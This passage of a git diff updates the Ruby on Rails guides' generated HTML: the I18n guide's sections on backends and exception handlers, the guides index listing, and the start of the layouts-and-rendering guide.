-<div class="para"><p>For several reasons the shipped Simple backend only does the "simplest thing that ever could work" <em>for Ruby on Rails</em> (1) &#8230; which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.</p></div>
-<div class="para"><p>That does not mean you're stuck with these limitations though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:</p></div>
+<h3 id="_using_different_backends">6.1. Using different backends</h3>
+<div class="paragraph"><p>For several reasons the shipped Simple backend only does the "simplest thing that ever could work" <em>for Ruby on Rails</em> <a href="#3">[3]</a> ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.</p></div>
+<div class="paragraph"><p>That does not mean you&#8217;re stuck with these limitations though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize&#8217;s Static backend:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>backend <span style="color: #990000">=</span> Globalize<span style="color: #990000">::</span>Backend<span style="color: #990000">::</span>Static<span style="color: #990000">.</span>new
-</tt></pre></div></div>
-<div class="para"><p>TODO expand this &#8230;? list some backends and their features?</p></div>
-<h3 id="_using_different_exception_handlers">5.2. Using different exception handlers</h3>
-<div class="para"><p>TODO</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Explain what exceptions are raised and why we are using exceptions for communication from backend to frontend.
-</p>
-</li>
-<li>
-<p>
-Explain the default behaviour.
-</p>
-</li>
-<li>
-<p>
-Explain the :raise option
-</p>
-</li>
-<li>
-<p>
-Example 1: the Rails #t helper uses a custom exception handler that catches I18n::MissingTranslationData and wraps the message into a span with the CSS class "translation_missing"
-</p>
-</li>
-<li>
-<p>
-Example 2: for tests you might want a handler that just raises all exceptions all the time
-</p>
-</li>
-<li>
-<p>
-Example 3: a handler
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_resources">6. Resources</h2>
-<div class="sectionbody">
-<div class="ilist"><ul>
-<li>
-<p>
-<a href="http://rails-i18n.org">http://rails-i18n.org</a>
-</p>
-</li>
-</ul></div>
+<pre><tt>I18n<span style="color: #990000">.</span>backend <span style="color: #990000">=</span> Globalize<span style="color: #990000">::</span>Backend<span style="color: #990000">::</span>Static<span style="color: #990000">.</span>new</tt></pre></div></div>
+<h3 id="_using_different_exception_handlers">6.2. Using different exception handlers</h3>
+<div class="paragraph"><p>The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>MissingTranslationData <span style="font-style: italic"><span style="color: #9A1900"># no translation was found for the requested key</span></span>
+InvalidLocale <span style="font-style: italic"><span style="color: #9A1900"># the locale set to I18n.locale is invalid (e.g. nil)</span></span>
+InvalidPluralizationData <span style="font-style: italic"><span style="color: #9A1900"># a count option was passed but the translation data is not suitable for pluralization</span></span>
+MissingInterpolationArgument <span style="font-style: italic"><span style="color: #9A1900"># the translation expects an interpolation argument that has not been passed</span></span>
+ReservedInterpolationKey <span style="font-style: italic"><span style="color: #9A1900"># the translation contains a reserved interpolation variable name (i.e. one of: scope, default)</span></span>
+UnknownFileType <span style="font-style: italic"><span style="color: #9A1900"># the backend does not know how to handle a file type that was added to I18n.load_path</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The I18n API will catch all of these exceptions when they were thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for MissingTranslationData exceptions. When a MissingTranslationData exception has been caught it will return the exception’s error message string containing the missing key/scope.</p></div>
+<div class="paragraph"><p>The reason for this is that during development you&#8217;d usually want your views to still render even though a translation is missing.</p></div>
+<div class="paragraph"><p>In other contexts you might want to change this behaviour though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> I18n
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> just_raise_that_exception<span style="color: #990000">(*</span>args<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> args<span style="color: #990000">.</span>first
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+I18n<span style="color: #990000">.</span>exception_handler <span style="color: #990000">=</span> <span style="color: #990000">:</span>just_raise_that_exception</tt></pre></div></div>
+<div class="paragraph"><p>This would re-raise all caught exceptions including MissingTranslationData.</p></div>
+<div class="paragraph"><p>Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method #t (as well as #translate). When a MissingTranslationData exception occurs in this context the helper wraps the message into a span with the css class translation_missing.</p></div>
+<div class="paragraph"><p>To do so the helper forces I18n#translate to raise exceptions no matter what exception handler is defined by setting the :raise option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>foo<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-style: italic"><span style="color: #9A1900"># always re-raises exceptions from the backend</span></span></tt></pre></div></div>
</div>
-<h2 id="_footnotes">7. Footnotes</h2>
+<h2 id="_resources">7. Resources</h2>
<div class="sectionbody">
-<div class="para"><p>(1) One of these reasons is that we don't want to any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.</p></div>
-<div class="para"><p>(2) Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.</p></div>
</div>
-<h2 id="_credits">8. Credits</h2>
+<h2 id="_footnotes">8. Footnotes</h2>
<div class="sectionbody">
+<div class="paragraph"><p><a id="1"></a>[1] Or, to quote <a href="http://en.wikipedia.org/wiki/Internationalization_and_localization">Wikipedia</a>: <em>"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."</em></p></div>
+<div class="paragraph"><p><a id="2"></a>[2] Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.</p></div>
+<div class="paragraph"><p><a id="3"></a>[3] One of these reasons is that we don&#8217;t want to any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.</p></div>
</div>
-<h2 id="_notes">9. NOTES</h2>
+<h2 id="_changelog">9. Changelog</h2>
<div class="sectionbody">
-<div class="para"><p>How to contribute?</p></div>
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213/tickets/23">Lighthouse ticket</a></p></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/index.html b/railties/doc/guides/html/index.html
index 45e131012e..d7079c9393 100644
--- a/railties/doc/guides/html/index.html
+++ b/railties/doc/guides/html/index.html
@@ -1,204 +1,49 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Ruby on Rails guides</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Ruby on Rails Guides</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" class="notoc">
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container" class="notoc">
-
- <div id="content">
- <h1>Ruby on Rails guides</h1>
- <div id="preamble">
+ <div id="header" class="notoc">
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container" class="notoc">
+
+ <div id="content">
+ <h1>Ruby on Rails Guides</h1>
+ <div id="preamble">
<div class="sectionbody">
+<div class="paragraph"><p>These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. There are two different versions of the Guides site, and you should be sure to use the one that applies to your situation:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+<a href="http://guides.rubyonrails.org/">Current Release version</a> - based on Rails 2.2
+</p>
+</li>
+<li>
+<p>
+<a href="http://guides.rails.info/">Edge Rails version</a> - based on the Rails 2.3 branch
+</p>
+</li>
+</ul></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -219,22 +64,35 @@ ul#navMain {
<div class="sidebarblock">
<div class="sidebar-content">
<div class="sidebar-title"><a href="getting_started_with_rails.html">Getting Started with Rails</a></div>
-<div class="para"><p>Everything you need to know to install Rails and create your first application.</p></div>
+<div class="paragraph"><p>Everything you need to know to install Rails and create your first application.</p></div>
</div></div>
<h2>Models</h2>
<div class="sidebarblock">
<div class="sidebar-content">
<div class="sidebar-title"><a href="migrations.html">Rails Database Migrations</a></div>
-<div class="para"><p>This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.</p></div>
+<div class="paragraph"><p>This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="activerecord_validations_callbacks.html">Active Record Validations and Callbacks</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/26">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="paragraph"><p>This guide covers how you can use Active Record validations and callbacks.</p></div>
</div></div>
<div class="sidebarblock">
<div class="sidebar-content">
<div class="sidebar-title"><a href="association_basics.html">Active Record Associations</a></div>
-<div class="para"><p>This guide covers all the associations provided by Active Record.</p></div>
+<div class="paragraph"><p>This guide covers all the associations provided by Active Record.</p></div>
</div></div>
<div class="sidebarblock">
<div class="sidebar-content">
-<div class="sidebar-title"><a href="finders.html">Active Record Finders</a></div>
+<div class="sidebar-title"><a href="active_record_querying.html">Active Record Query Interface</a></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -243,13 +101,13 @@ ul#navMain {
<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/16">Lighthouse Ticket</a></td>
</tr></table>
</div>
-<div class="para"><p>This guide covers the find method defined in ActiveRecord::Base, as well as named scopes.</p></div>
+<div class="paragraph"><p>This guide covers the database query interface provided by Active Record.</p></div>
</div></div>
<h2>Views</h2>
<div class="sidebarblock">
<div class="sidebar-content">
<div class="sidebar-title"><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></div>
-<div class="para"><p>This guide covers the basic layout features of Action Controller and Action View,
+<div class="paragraph"><p>This guide covers the basic layout features of Action Controller and Action View,
including rendering and redirecting, using <tt>content_for</tt> blocks, and working
with partials.</p></div>
</div></div>
@@ -264,19 +122,19 @@ with partials.</p></div>
<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/1">Lighthouse Ticket</a></td>
</tr></table>
</div>
-<div class="para"><p>Guide to using built in Form helpers.</p></div>
+<div class="paragraph"><p>Guide to using built in Form helpers.</p></div>
</div></div>
<h2>Controllers</h2>
<div class="sidebarblock">
<div class="sidebar-content">
<div class="sidebar-title"><a href="routing_outside_in.html">Rails Routing from the Outside In</a></div>
-<div class="para"><p>This guide covers the user-facing features of Rails routing. If you want to
+<div class="paragraph"><p>This guide covers the user-facing features of Rails routing. If you want to
understand how to use routing in your own Rails applications, start here.</p></div>
</div></div>
<div class="sidebarblock">
<div class="sidebar-content">
<div class="sidebar-title"><a href="actioncontroller_basics.html">Basics of Action Controller</a></div>
-<div class="para"><p>This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.</p></div>
+<div class="paragraph"><p>This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.</p></div>
</div></div>
<div class="sidebarblock">
<div class="sidebar-content">
@@ -289,7 +147,7 @@ understand how to use routing in your own Rails applications, start here.</p></d
<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/10">Lighthouse Ticket</a></td>
</tr></table>
</div>
-<div class="para"><p>This guide covers the three types of caching that Rails provides by default.</p></div>
+<div class="paragraph"><p>This guide covers the three types of caching that Rails provides by default.</p></div>
</div></div>
<h2>Digging Deeper</h2>
<div class="sidebarblock">
@@ -303,40 +161,32 @@ understand how to use routing in your own Rails applications, start here.</p></d
<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/8">Lighthouse Ticket</a></td>
</tr></table>
</div>
-<div class="para"><p>This is a rather comprehensive guide to doing both unit and functional tests
+<div class="paragraph"><p>This is a rather comprehensive guide to doing both unit and functional tests
in Rails. It covers everything from &#8220;What is a test?&#8221; to the testing APIs.
Enjoy.</p></div>
</div></div>
<div class="sidebarblock">
<div class="sidebar-content">
<div class="sidebar-title"><a href="security.html">Securing Rails Applications</a></div>
-<div class="para"><p>This guide describes common security problems in web applications and how to
+<div class="paragraph"><p>This guide describes common security problems in web applications and how to
avoid them with Rails.</p></div>
</div></div>
<div class="sidebarblock">
<div class="sidebar-content">
<div class="sidebar-title"><a href="debugging_rails_applications.html">Debugging Rails Applications</a></div>
-<div class="para"><p>This guide describes how to debug Rails applications. It covers the different
+<div class="paragraph"><p>This guide describes how to debug Rails applications. It covers the different
ways of achieving this and how to understand what is happening "behind the scenes"
of your code.</p></div>
</div></div>
<div class="sidebarblock">
<div class="sidebar-content">
-<div class="sidebar-title"><a href="benchmarking_and_profiling.html">Benchmarking and Profiling Rails Applications</a></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/4">Lighthouse Ticket</a></td>
-</tr></table>
-</div>
-<div class="para"><p>This guide covers ways to analyze and optimize your running Rails code.</p></div>
+<div class="sidebar-title"><a href="performance_testing.html">Performance Testing Rails Applications</a></div>
+<div class="paragraph"><p>This guide covers ways to benchmark and profile your Rails application.</p></div>
</div></div>
<div class="sidebarblock">
<div class="sidebar-content">
<div class="sidebar-title"><a href="creating_plugins.html">The Basics of Creating Rails Plugins</a></div>
-<div class="para"><p>This guide covers how to build a plugin to extend the functionality of Rails.</p></div>
+<div class="paragraph"><p>This guide covers how to build a plugin to extend the functionality of Rails.</p></div>
</div></div>
<div class="sidebarblock">
<div class="sidebar-content">
@@ -346,17 +196,27 @@ of your code.</p></div>
<td class="icon">
<img src="./images/icons/caution.png" alt="Caution" />
</td>
-<td class="content">still a basic draft</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/23">Lighthouse ticket</a></td>
</tr></table>
</div>
-<div class="para"><p>This guide introduces you to the basic concepts and features of the Rails I18n API and shows you how to localize your application.</p></div>
+<div class="paragraph"><p>This guide introduces you to the basic concepts and features of the Rails I18n API and shows you how to localize your application.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="configuring.html">Configuring Rails Applications</a></div>
+<div class="paragraph"><p>This guide covers the basic configuration settings for a Rails application.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="command_line.html">Rails Command Line Tools and Rake tasks</a></div>
+<div class="paragraph"><p>This guide covers the command line tools and rake tasks provided by Rails.</p></div>
</div></div>
-<div class="para"><p>Authors who have contributed to complete guides are listed <a href="authors.html">here</a>.</p></div>
-<div class="para"><p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Creative Commons Attribution-Noncommercial-Share Alike 3.0 License</a></p></div>
+<div class="paragraph"><p>Authors who have contributed to complete guides are listed <a href="authors.html">here</a>.</p></div>
+<div class="paragraph"><p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Creative Commons Attribution-Noncommercial-Share Alike 3.0 License</a></p></div>
</div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/layouts_and_rendering.html b/railties/doc/guides/html/layouts_and_rendering.html
index 30c114ef82..037714db78 100644
--- a/railties/doc/guides/html/layouts_and_rendering.html
+++ b/railties/doc/guides/html/layouts_and_rendering.html
@@ -1,246 +1,80 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Layouts and Rendering in Rails</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Layouts and Rendering in Rails</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_overview_how_the_pieces_fit_together">Overview: How the Pieces Fit Together</a>
- </li>
- <li>
- <a href="#_creating_responses">Creating Responses</a>
- <ul>
-
- <li><a href="#_rendering_by_default_convention_over_configuration_in_action">Rendering by Default: Convention Over Configuration in Action</a></li>
-
- <li><a href="#_using_tt_render_tt">Using <tt>render</tt></a></li>
-
- <li><a href="#_using_tt_redirect_to_tt">Using <tt>redirect_to</tt></a></li>
-
- <li><a href="#_using_tt_head_tt_to_build_header_only_responses">Using <tt>head</tt> To Build Header-Only Responses</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_structuring_layouts">Structuring Layouts</a>
- <ul>
-
- <li><a href="#_asset_tags">Asset Tags</a></li>
-
- <li><a href="#_understanding_tt_yield_tt">Understanding <tt>yield</tt></a></li>
-
- <li><a href="#_using_tt_content_for_tt">Using <tt>content_for</tt></a></li>
-
- <li><a href="#_using_partials">Using Partials</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Layouts and Rendering in Rails</h1>
- <div id="preamble">
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_overview_how_the_pieces_fit_together">Overview: How the Pieces Fit Together</a>
+ </li>
+ <li>
+ <a href="#_creating_responses">Creating Responses</a>
+ <ul>
+
+ <li><a href="#_rendering_by_default_convention_over_configuration_in_action">Rendering by Default: Convention Over Configuration in Action</a></li>
+
+ <li><a href="#_using_tt_render_tt">Using <tt>render</tt></a></li>
+
+ <li><a href="#_using_tt_redirect_to_tt">Using <tt>redirect_to</tt></a></li>
+
+ <li><a href="#_using_tt_head_tt_to_build_header_only_responses">Using <tt>head</tt> To Build Header-Only Responses</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_structuring_layouts">Structuring Layouts</a>
+ <ul>
+
+ <li><a href="#_asset_tags">Asset Tags</a></li>
+
+ <li><a href="#_understanding_tt_yield_tt">Understanding <tt>yield</tt></a></li>
+
+ <li><a href="#_using_tt_content_for_tt">Using <tt>content_for</tt></a></li>
+
+ <li><a href="#_using_partials">Using Partials</a></li>
+
+ <li><a href="#_using_nested_layouts">Using Nested Layouts</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Layouts and Rendering in Rails</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Use the various rendering methods built in to Rails
@@ -256,18 +90,23 @@ Create layouts with multiple content sections
Use partials to DRY up your views
</p>
</li>
+<li>
+<p>
+Use nested layouts (sub-templates)
+</p>
+</li>
</ul></div>
</div>
</div>
<h2 id="_overview_how_the_pieces_fit_together">1. Overview: How the Pieces Fit Together</h2>
<div class="sectionbody">
